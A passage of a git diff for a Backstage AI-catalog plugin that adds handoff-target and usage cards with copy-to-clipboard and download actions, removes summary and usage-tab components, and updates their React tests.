string[]) { + return renderInTestApp( + + + , + ); +} + +describe('HandoffTargets', () => { + beforeEach(() => { + mockCatalogApi.getEntitiesByRefs.mockReset(); + }); + + it('renders resolved targets as links', async () => { + mockCatalogApi.getEntitiesByRefs.mockResolvedValue({ items: [target] }); + + await renderTargets(['airesource:default/ogx-agent-legal']); + + await waitFor(() => { + expect(screen.getByRole('link', { name: 'Legal' })).toBeInTheDocument(); + }); + }); + + it('renders an unresolved target without linking it', async () => { + const ref = 'airesource:default/missing-agent'; + mockCatalogApi.getEntitiesByRefs.mockResolvedValue({ items: [undefined] }); + + await renderTargets([ref]); + + await waitFor(() => { + expect(screen.getByText(ref)).toBeInTheDocument(); + }); + expect(screen.queryByRole('link')).toBeNull(); + }); +}); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx new file mode 100644 index 00000000000..23c95cb1c7a --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx @@ -0,0 +1,66 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; +import { useEffect, useState } from 'react'; +import { useApi } from '@backstage/core-plugin-api'; +import { EntityRefLink, catalogApiRef } from '@backstage/plugin-catalog-react'; +import { Flex, Text } from '@backstage/ui'; + +interface HandoffTargetsProps { + refs: string[]; +} + +export const HandoffTargets = ({ refs }: HandoffTargetsProps) => { + const catalogApi = useApi(catalogApiRef); + const [targets, setTargets] = useState | null>( + null, + ); + + useEffect(() => { + let cancelled = false; + + setTargets(null); + catalogApi + .getEntitiesByRefs({ entityRefs: refs }) + .then(response => { + if (!cancelled) setTargets(response.items); + }) + .catch(() => { + if (!cancelled) setTargets(refs.map(() => undefined)); + }); + + return () => { + cancelled = true; + }; + }, [catalogApi, refs]); + + return ( + + {refs.map((ref, index) => { + const target = targets?.[index]; + + return target ? ( + + ) : ( + + {ref} + + ); + })} + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/SummaryCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/SummaryCard.test.tsx deleted file mode 100644 index 3f29ef6ec75..00000000000 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/SummaryCard.test.tsx +++ /dev/null @@ -1,133 +0,0 @@ -/* - * Copyright Red Hat, Inc. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import type { Entity } from '@backstage/catalog-model'; -import { EntityProvider } from '@backstage/plugin-catalog-react'; -import { renderInTestApp } from '@backstage/test-utils'; -import { screen } from '@testing-library/react'; - -import { boostMessages } from '../../../translations/ref'; -import { SummaryCard } from './SummaryCard'; - -const { catalog: msg } = boostMessages; - -const skillEntity: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'code-review-skill', - namespace: 'default', - description: 'Reviews pull requests for common issues.', - }, - spec: { - type: 'skill', - lifecycle: 'production', - owner: 'team-ai', - rationale: 'Catch defects early.', - }, -}; - -const emptyEntity: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { name: 'empty-skill', namespace: 'default' }, - spec: { type: 'skill', lifecycle: 'production', owner: 'team-ai' }, -}; - -const skillWithAgentFields: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'code-review-skill', - namespace: 'default', - description: 'Reviews pull requests for common issues.', - }, - spec: { - type: 'skill', - lifecycle: 'production', - owner: 'team-ai', - instructions: 'Be concise.', - handoffDescription: 'Routes coding questions', - enableRAG: true, - }, -}; - -const agentEntity: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'dev-assistant', - namespace: 'default', - description: 'Helps developers.', - }, - spec: { - type: 'agent', - lifecycle: 'production', - owner: 'team-ai', - instructions: 'Be concise.', - handoffDescription: 'Routes coding questions', - enableRAG: true, - models: { available: ['granite-8b'] }, - }, -}; - -function renderWithEntity(entity: Entity) { - return renderInTestApp( - - - , - ); -} - -describe('SummaryCard', () => { - it('renders description and rationale', async () => { - await renderWithEntity(skillEntity); - expect(screen.getByText(msg.card.summaryTitle)).toBeInTheDocument(); - expect( - screen.getByText('Reviews pull requests for common issues.'), - ).toBeInTheDocument(); - expect(screen.getByText('Catch defects early.')).toBeInTheDocument(); - }); - - it('renders nothing when there is no summary content', async () => { - const { container } = await renderWithEntity(emptyEntity); - expect(container).toBeEmptyDOMElement(); - }); - - it('hides agent-only fields on a skill even when those spec keys are set', async () => { - await renderWithEntity(skillWithAgentFields); - expect(screen.getByText(msg.card.summaryTitle)).toBeInTheDocument(); - expect(screen.queryByText(msg.card.instructionsTitle)).toBeNull(); - expect(screen.queryByText(msg.card.handoffDescriptionTitle)).toBeNull(); - expect(screen.queryByText(msg.card.ragEnabledLabel)).toBeNull(); - }); - - it('renders agent-only fields and available models', async () => { - await renderWithEntity(agentEntity); - expect( - screen.getByText(`${msg.card.modelsAvailableTitle} (1)`), - ).toBeInTheDocument(); - expect(screen.getByText('granite-8b')).toBeInTheDocument(); - expect(screen.getByText(msg.card.instructionsTitle)).toBeInTheDocument(); - expect(screen.getByText('Be concise.')).toBeInTheDocument(); - expect( - screen.getByText(msg.card.handoffDescriptionTitle), - ).toBeInTheDocument(); - expect(screen.getByText('Routes coding questions')).toBeInTheDocument(); - expect(screen.getByText(msg.card.ragEnabledLabel)).toBeInTheDocument(); - expect(screen.getByText('Yes')).toBeInTheDocument(); - }); -}); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/SummaryCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/SummaryCard.tsx deleted file mode 100644 index f7f626a399d..00000000000 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/SummaryCard.tsx +++ /dev/null @@ -1,127 +0,0 @@ -/* - * Copyright Red Hat, Inc. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import { useEntity } from '@backstage/plugin-catalog-react'; -import { Card, CardBody, CardHeader, Flex, Text } from '@backstage/ui'; - -import { useTranslation } from '../../../hooks/useTranslation'; -import { getSpecField } from '../../../utils/entityHelpers'; - -function getModelsAvailable(entity: { spec?: unknown }): string[] { - const spec = entity.spec as Record | undefined; - const models = spec?.models as Record | undefined; - const available = models?.available; - return Array.isArray(available) ? (available as string[]) : []; -} - -function getBooleanSpecField( - entity: { spec?: unknown }, - field: string, -): boolean | undefined { - const spec = entity.spec as Record | undefined; - const value = spec?.[field]; - return typeof value === 'boolean' ? value : undefined; -} - -export const SummaryCard = () => { - const { entity } = useEntity(); - const { t } = useTranslation(); - - const description = entity.metadata.description ?? ''; - const rationale = getSpecField(entity, 'rationale'); - const modelsAvailable = getModelsAvailable(entity); - - const isAgent = getSpecField(entity, 'type') === 'agent'; - const instructions = isAgent - ? getSpecField(entity, 'instructions') - : undefined; - const handoffDescription = isAgent - ? getSpecField(entity, 'handoffDescription') - : undefined; - const enableRAG = isAgent - ? getBooleanSpecField(entity, 'enableRAG') - : undefined; - - if ( - !description && - !rationale && - modelsAvailable.length === 0 && - !instructions && - !handoffDescription && - enableRAG === undefined - ) - return null; - - return ( - - - {t('catalog.card.summaryTitle')} - - - - {description && {description}} - {rationale && ( - - {rationale} - - )} - {modelsAvailable.length > 0 && ( - - - {`${t('catalog.card.modelsAvailableTitle')} (${modelsAvailable.length})`} - -
- - {modelsAvailable.map(model => ( - - {model} - - ))} - -
-
- )} - {instructions && ( - - - {t('catalog.card.instructionsTitle')} - - - {instructions} - - - )} - {handoffDescription && ( - - - {t('catalog.card.handoffDescriptionTitle')} - - {handoffDescription} - - )} - {enableRAG !== undefined && ( - - - {t('catalog.card.ragEnabledLabel')} - - {enableRAG ? 'Yes' : 'No'} - - )} -
-
-
- ); -}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.module.css b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.module.css new file mode 100644 index 00000000000..b3a53edb4fd --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.module.css @@ -0,0 +1,54 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +@layer components { + .commandBlock { + display: flex; + align-items: center; + gap: var(--bui-space-2); + width: 100%; + padding: var(--bui-space-2); + border: 1px solid var(--bui-border-1); + border-radius: var(--bui-radius-2); + background: var(--bui-bg-neutral-2); + } + + .command { + flex: 1; + min-width: 0; + margin: 0; + padding: var(--bui-space-1) var(--bui-space-2); + overflow-wrap: anywhere; + color: var(--bui-fg-primary); + font-family: + ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', + 'Courier New', monospace; + font-size: var(--bui-font-size-2); + line-height: 1.4; + white-space: pre-wrap; + } + + @media (max-width: 480px) { + .commandBlock { + align-items: stretch; + flex-direction: column; + } + + .commandBlock button { + align-self: flex-start; + } + } +} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AdoptionCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx similarity index 58% rename from workspaces/boost/plugins/boost/src/components/catalog/entity/AdoptionCard.test.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx index 0e72d6ebfd3..624afbd4659 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AdoptionCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx @@ -17,9 +17,13 @@ import { type Entity } from '@backstage/catalog-model'; import { EntityProvider } from '@backstage/plugin-catalog-react'; import { renderInTestApp } from '@backstage/test-utils'; -import { fireEvent, screen, waitFor } from '@testing-library/react'; +import { fireEvent, screen } from '@testing-library/react'; -import { AdoptionCard } from './AdoptionCard'; +import { boostMessages } from '../../../translations/ref'; +import { UsageCard } from './UsageCard'; + +const { catalog: msg } = boostMessages; +const writeText = jest.fn(); const skillEntity: Entity = { apiVersion: 'backstage.io/v1alpha1', @@ -83,6 +87,22 @@ const gitEntity: Entity = { }, }; +const gitSubpathEntity: Entity = { + ...gitEntity, + metadata: { + ...gitEntity.metadata, + name: 'git-subpath-rule', + uid: 'uid-git-subpath', + }, + spec: { + ...gitEntity.spec, + location: { + type: 'git', + target: 'https://github.com/example/repo/tree/main/rules', + }, + }, +}; + const mcpEntity: Entity = { apiVersion: 'backstage.io/v1alpha1', kind: 'API', @@ -101,6 +121,22 @@ const mcpEntity: Entity = { }, }; +const modelServerEntity: Entity = { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiModelServerAPI', + metadata: { + name: 'granite-model-server', + namespace: 'default', + uid: 'uid-model-server', + }, + spec: { + type: 'ai-model-server', + lifecycle: 'production', + owner: 'team-ml-ops', + serverUrl: 'https://granite.example.com/v1', + }, +}; + const noActionEntity: Entity = { apiVersion: 'backstage.io/v1alpha1', kind: 'Resource', @@ -119,15 +155,17 @@ const noActionEntity: Entity = { function renderWithEntity(entity: Entity) { return renderInTestApp( - + , ); } -describe('AdoptionCard', () => { +describe('UsageCard', () => { beforeEach(() => { - Object.assign(navigator, { - clipboard: { writeText: jest.fn().mockResolvedValue(undefined) }, + writeText.mockReset().mockResolvedValue(undefined); + Object.defineProperty(navigator, 'clipboard', { + configurable: true, + value: { writeText }, }); }); @@ -137,7 +175,31 @@ describe('AdoptionCard', () => { expect( screen.getByText('npx skills add code-review-skill'), ).toBeInTheDocument(); - expect(screen.getByText('Copy')).toBeInTheDocument(); + expect( + screen.getByRole('button', { name: msg.card.copyCommand }), + ).toBeInTheDocument(); + }); + + it('shows copied feedback after copying a command', async () => { + await renderWithEntity(skillEntity); + + fireEvent.click(screen.getByRole('button', { name: msg.card.copyCommand })); + + expect( + await screen.findByRole('button', { name: msg.card.copied }), + ).toBeInTheDocument(); + expect(writeText).toHaveBeenCalledWith('npx skills add code-review-skill'); + }); + + it('shows an error when copying a command fails', async () => { + writeText.mockRejectedValueOnce(new Error('clipboard unavailable')); + await renderWithEntity(skillEntity); + + fireEvent.click(screen.getByRole('button', { name: msg.card.copyCommand })); + + expect(await screen.findByRole('status')).toHaveTextContent( + msg.card.copyFailed, + ); }); it('renders podman pull command for OCI-sourced entities', async () => { @@ -148,7 +210,9 @@ describe('AdoptionCard', () => { 'podman pull oci://registry.example.com/tools/custom-ai-tool:latest', ), ).toBeInTheDocument(); - expect(screen.getByText('Copy')).toBeInTheDocument(); + expect( + screen.getByRole('button', { name: msg.card.copyCommand }), + ).toBeInTheDocument(); }); it('renders Download ZIP button for git-sourced entities', async () => { @@ -157,46 +221,65 @@ describe('AdoptionCard', () => { expect(screen.getByText('Download ZIP')).toBeInTheDocument(); }); + it('renders a source link for git subpaths', async () => { + await renderWithEntity(gitSubpathEntity); + + expect(screen.getByText('View source')).toBeInTheDocument(); + expect(screen.queryByText('Download ZIP')).toBeNull(); + }); + it('renders remote URL for MCP server entities', async () => { await renderWithEntity(mcpEntity); expect( screen.getByText('https://mcp.example.com/github'), ).toBeInTheDocument(); - expect(screen.getByText('Copy')).toBeInTheDocument(); + expect( + screen.getByRole('button', { name: msg.card.copyCommand }), + ).toBeInTheDocument(); + }); + + it('renders the model server endpoint as usage information', async () => { + await renderWithEntity(modelServerEntity); + + expect( + screen.getByText('https://granite.example.com/v1'), + ).toBeInTheDocument(); + expect( + screen.getByRole('button', { name: msg.card.copyCommand }), + ).toBeInTheDocument(); }); it('renders nothing for entities with no actionable metadata', async () => { const { container } = await renderWithEntity(noActionEntity); - expect(container.querySelector('.command')).toBeNull(); - expect(screen.queryByText('Copy')).toBeNull(); + expect(container).toBeEmptyDOMElement(); expect(screen.queryByText('Download ZIP')).toBeNull(); }); - it('copies command to clipboard when copy button is clicked', async () => { - await renderWithEntity(skillEntity); + it('opens the git archive URL with noopener,noreferrer when Download ZIP is clicked', async () => { + const openSpy = jest.spyOn(window, 'open').mockImplementation(() => null); - const copyButton = screen.getByText('Copy'); - fireEvent.click(copyButton); + await renderWithEntity(gitEntity); + fireEvent.click(screen.getByText('Download ZIP')); - expect(navigator.clipboard.writeText).toHaveBeenCalledWith( - 'npx skills add code-review-skill', + expect(openSpy).toHaveBeenCalledWith( + 'https://api.github.com/repos/example/no-hardcoded-secrets-rule/zipball', + '_blank', + 'noopener,noreferrer', ); - await waitFor(() => { - expect(screen.getByText('Copied')).toBeInTheDocument(); - }); + openSpy.mockRestore(); }); - it('opens the git archive URL with noopener,noreferrer when Download ZIP is clicked', async () => { + it('opens the original source URL for a Git subpath', async () => { const openSpy = jest.spyOn(window, 'open').mockImplementation(() => null); - await renderWithEntity(gitEntity); - fireEvent.click(screen.getByText('Download ZIP')); + await renderWithEntity(gitSubpathEntity); + fireEvent.click(screen.getByText('View source')); expect(openSpy).toHaveBeenCalledWith( - 'https://api.github.com/repos/example/no-hardcoded-secrets-rule/zipball', + 'https://github.com/example/repo/tree/main/rules', '_blank', 'noopener,noreferrer', ); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx new file mode 100644 index 00000000000..9da7b30e5df --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx @@ -0,0 +1,158 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { useEffect, useRef, useState } from 'react'; +import { useEntity } from '@backstage/plugin-catalog-react'; +import { + Button, + Card, + CardBody, + CardHeader, + Text, + VisuallyHidden, +} from '@backstage/ui'; +import { + RiCheckLine, + RiDownload2Line, + RiExternalLinkLine, + RiFileCopyLine, +} from '@remixicon/react'; + +import { useTranslation } from '../../../hooks/useTranslation'; +import { getUsageAction } from '../../../utils/usageActions'; +import styles from './UsageCard.module.css'; + +const COPY_FEEDBACK_MS = 2000; + +function CopyCommand({ value }: { value: string }) { + const { t } = useTranslation(); + const [copyState, setCopyState] = useState<'idle' | 'copied' | 'failed'>( + 'idle', + ); + const resetTimer = useRef | undefined>( + undefined, + ); + + useEffect(() => { + return () => { + if (resetTimer.current) { + clearTimeout(resetTimer.current); + resetTimer.current = undefined; + } + }; + }, []); + + const handleCopy = async () => { + if (resetTimer.current) { + clearTimeout(resetTimer.current); + resetTimer.current = undefined; + } + + if (!navigator.clipboard?.writeText) { + setCopyState('failed'); + return; + } + + try { + await navigator.clipboard.writeText(value); + setCopyState('copied'); + resetTimer.current = setTimeout(() => { + setCopyState('idle'); + resetTimer.current = undefined; + }, COPY_FEEDBACK_MS); + } catch { + setCopyState('failed'); + } + }; + + let feedback = ''; + if (copyState === 'copied') feedback = t('catalog.card.copied'); + if (copyState === 'failed') feedback = t('catalog.card.copyFailed'); + + return ( + <> +
+
+          {value}
+        
+ +
+ {copyState === 'failed' && ( + + {t('catalog.card.copyFailed')} + + )} + + {feedback} + + + ); +} + +export const UsageCard = () => { + const { entity } = useEntity(); + const { t } = useTranslation(); + + const action = getUsageAction(entity); + + if (!action) return null; + + return ( + + + {t('catalog.card.usageTitle')} + + + {action.type === 'copy' ? ( + + ) : ( + + )} + + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageTab.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageTab.test.tsx deleted file mode 100644 index 332ce6125fe..00000000000 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageTab.test.tsx +++ /dev/null @@ -1,271 +0,0 @@ -/* - * Copyright Red Hat, Inc. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import type { Entity } from '@backstage/catalog-model'; -import { stringifyEntityRef } from '@backstage/catalog-model'; -import { useEntity } from '@backstage/plugin-catalog-react'; -import { usePermission } from '@backstage/plugin-permission-react'; -import { renderInTestApp } from '@backstage/test-utils'; -import { screen } from '@testing-library/react'; -import { aiCatalogAssetAccessUsageDocsPermission } from '@red-hat-developer-hub/backstage-plugin-boost-common'; - -import { boostMessages } from '../../../translations/ref'; -import { UsageTab } from './UsageTab'; - -const { catalog: msg } = boostMessages; - -jest.mock('@backstage/plugin-catalog-react', () => ({ - useEntity: jest.fn(), -})); - -jest.mock('@backstage/plugin-permission-react', () => ({ - usePermission: jest.fn(), -})); - -const mockUseEntity = useEntity as jest.MockedFunction; -const mockUsePermission = usePermission as jest.MockedFunction< - typeof usePermission ->; - -const entityWithTechDocs: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'code-review-skill', - namespace: 'default', - uid: 'uid-1', - annotations: { - 'backstage.io/techdocs-ref': 'dir:.', - }, - }, - spec: { - type: 'skill', - owner: 'team-ai-platform', - }, -}; - -const entityWithLinks: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'security-scanner', - namespace: 'default', - uid: 'uid-2', - links: [{ url: 'https://example.com/docs', title: 'API Documentation' }], - }, - spec: { - type: 'skill', - owner: 'team-security', - }, -}; - -const entityNoDocs: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'plain-asset', - namespace: 'default', - uid: 'uid-3', - }, - spec: { - type: 'skill', - owner: 'team-integrations', - }, -}; - -const entityNoOwner: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'ownerless-asset', - namespace: 'default', - uid: 'uid-4', - }, - spec: { - type: 'skill', - }, -}; - -const entityWithQualifiedOwner: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'qualified-owner-asset', - namespace: 'default', - uid: 'uid-5', - }, - spec: { - type: 'skill', - owner: 'user:default/jdoe', - }, -}; - -const entityWithInvalidOwner: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'invalid-owner-asset', - namespace: 'default', - uid: 'uid-6', - }, - spec: { - type: 'skill', - owner: 'group:', - }, -}; - -function setEntity(entity: Entity) { - mockUseEntity.mockReturnValue({ - entity, - } as ReturnType); -} - -function setPermission(result: { loading: boolean; allowed: boolean }) { - mockUsePermission.mockReturnValue(result); -} - -describe('UsageTab', () => { - beforeEach(() => { - jest.clearAllMocks(); - }); - - it('renders a loading skeleton while permission is loading', async () => { - setEntity(entityWithTechDocs); - setPermission({ loading: true, allowed: false }); - - await renderInTestApp(); - - expect(screen.getByTestId('usage-tab-loading')).toBeInTheDocument(); - // Should not render the title, docs, or contact owner - expect(screen.queryByText(msg.tab.usageTitle)).not.toBeInTheDocument(); - expect( - screen.queryByText(msg.tab.usageViewTechDocs), - ).not.toBeInTheDocument(); - expect( - screen.queryByText(msg.tab.usageContactOwner), - ).not.toBeInTheDocument(); - }); - - it('renders TechDocs link when permission is allowed and entity has TechDocs', async () => { - setEntity(entityWithTechDocs); - setPermission({ loading: false, allowed: true }); - - await renderInTestApp(); - - expect(screen.getByText(msg.tab.usageTitle)).toBeInTheDocument(); - expect(screen.getByText(msg.tab.usageViewTechDocs)).toBeInTheDocument(); - const link = screen.getByRole('link', { - name: msg.tab.usageViewTechDocs, - }); - expect(link).toHaveAttribute( - 'href', - '/docs/default/airesource/code-review-skill', - ); - }); - - it('checks the permission with a resourceRef for the current entity', async () => { - setEntity(entityWithTechDocs); - setPermission({ loading: false, allowed: true }); - - await renderInTestApp(); - - expect(mockUsePermission).toHaveBeenCalledWith({ - permission: aiCatalogAssetAccessUsageDocsPermission, - resourceRef: stringifyEntityRef(entityWithTechDocs), - }); - }); - - it('renders external links when permission is allowed and entity has links', async () => { - setEntity(entityWithLinks); - setPermission({ loading: false, allowed: true }); - - await renderInTestApp(); - - expect(screen.getByText(msg.tab.usageTitle)).toBeInTheDocument(); - expect(screen.getByText('API Documentation')).toBeInTheDocument(); - const link = screen.getByRole('link', { name: 'API Documentation' }); - expect(link).toHaveAttribute('href', 'https://example.com/docs'); - }); - - it('renders no-documentation message when permission is allowed but no docs exist', async () => { - setEntity(entityNoDocs); - setPermission({ loading: false, allowed: true }); - - await renderInTestApp(); - - expect(screen.getByText(msg.tab.usageTitle)).toBeInTheDocument(); - expect(screen.getByText(msg.tab.usageNoDocumentation)).toBeInTheDocument(); - }); - - it('renders permission denied message with contact owner link when denied and entity has owner', async () => { - setEntity(entityWithTechDocs); - setPermission({ loading: false, allowed: false }); - - await renderInTestApp(); - - expect(screen.getByText(msg.tab.usageTitle)).toBeInTheDocument(); - expect(screen.getByText(msg.tab.usagePermissionDenied)).toBeInTheDocument(); - - const contactLink = screen.getByRole('link', { - name: msg.tab.usageContactOwner, - }); - expect(contactLink).toHaveAttribute( - 'href', - '/catalog/default/group/team-ai-platform', - ); - - // Must not leak any documentation content - expect( - screen.queryByText(msg.tab.usageViewTechDocs), - ).not.toBeInTheDocument(); - }); - - it('renders permission denied message without contact link when denied and entity has no owner', async () => { - setEntity(entityNoOwner); - setPermission({ loading: false, allowed: false }); - - await renderInTestApp(); - - expect(screen.getByText(msg.tab.usagePermissionDenied)).toBeInTheDocument(); - expect( - screen.queryByText(msg.tab.usageContactOwner), - ).not.toBeInTheDocument(); - }); - - it('builds the contact owner link from a fully-qualified owner ref', async () => { - setEntity(entityWithQualifiedOwner); - setPermission({ loading: false, allowed: false }); - - await renderInTestApp(); - - const contactLink = screen.getByRole('link', { - name: msg.tab.usageContactOwner, - }); - expect(contactLink).toHaveAttribute('href', '/catalog/default/user/jdoe'); - }); - - it('renders permission denied message without contact link when owner ref is invalid', async () => { - setEntity(entityWithInvalidOwner); - setPermission({ loading: false, allowed: false }); - - await renderInTestApp(); - - expect(screen.getByText(msg.tab.usagePermissionDenied)).toBeInTheDocument(); - expect( - screen.queryByText(msg.tab.usageContactOwner), - ).not.toBeInTheDocument(); - }); -}); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageTab.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageTab.tsx deleted file mode 100644 index bb16fb1f6a9..00000000000 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageTab.tsx +++ /dev/null @@ -1,106 +0,0 @@ -/* - * Copyright Red Hat, Inc. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import { stringifyEntityRef } from '@backstage/catalog-model'; -import { useEntity } from '@backstage/plugin-catalog-react'; -import { usePermission } from '@backstage/plugin-permission-react'; -import { Flex, Link, Skeleton, Text } from '@backstage/ui'; -import { aiCatalogAssetAccessUsageDocsPermission } from '@red-hat-developer-hub/backstage-plugin-boost-common'; - -import { useTranslation } from '../../../hooks/useTranslation'; -import { entityRefHref, getSpecField } from '../../../utils/entityHelpers'; - -export const UsageTab = () => { - const { entity } = useEntity(); - const { t } = useTranslation(); - const { loading, allowed } = usePermission({ - permission: aiCatalogAssetAccessUsageDocsPermission, - resourceRef: stringifyEntityRef(entity), - }); - - if (loading) { - return ( - - - - - ); - } - - if (!allowed) { - const owner = getSpecField(entity, 'owner'); - const ownerHref = owner ? entityRefHref(owner) : undefined; - return ( - - {t('catalog.tab.usageTitle')} - - {t('catalog.tab.usagePermissionDenied')} - - {ownerHref && ( - {t('catalog.tab.usageContactOwner')} - )} - - ); - } - - const hasTechDocs = Boolean( - entity.metadata.annotations?.['backstage.io/techdocs-ref'], - ); - const links = entity.metadata.links ?? []; - - return ( - - {t('catalog.tab.usageTitle')} - - {hasTechDocs && ( - - - {t('catalog.tab.usageDocumentation')} - - - {t('catalog.tab.usageViewTechDocs')} - - - )} - - {links.length > 0 && ( - - - {t('catalog.tab.usageExternalLinks')} - - {links.map(link => ( - - {link.title ?? link.url} - - ))} - - )} - - {!hasTechDocs && links.length === 0 && ( - - {t('catalog.tab.usageNoDocumentation')} - - )} - - ); -}; diff --git a/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.test.ts b/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.test.ts index 2b4818da9d1..96ca1f62824 100644 --- a/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.test.ts +++ b/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.test.ts @@ -51,11 +51,17 @@ const entities = [skill, agent]; describe('builtinFilters', () => { describe('categoryFilterDefinition', () => { - it('returns all category options', () => { + it('returns only categories represented by the visible entities', () => { const options = categoryFilterDefinition.getOptions(entities); - expect(options.length).toBeGreaterThanOrEqual(5); - expect(options.find(o => o.id === 'skill')).toBeDefined(); - expect(options.find(o => o.id === 'agent')).toBeDefined(); + expect(options).toEqual([ + { id: 'agent', label: 'Agents' }, + { id: 'skill', label: 'Skills' }, + ]); + }); + + it('does not expose categories that are not represented', () => { + const options = categoryFilterDefinition.getOptions([skill]); + expect(options).toEqual([{ id: 'skill', label: 'Skills' }]); }); it('matches entity by spec.type', () => { diff --git a/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.ts b/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.ts index 057daaf85a8..21634c2d554 100644 --- a/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.ts +++ b/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.ts @@ -17,8 +17,8 @@ import type { Entity } from '@backstage/catalog-model'; import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; -import { getAllCategories } from 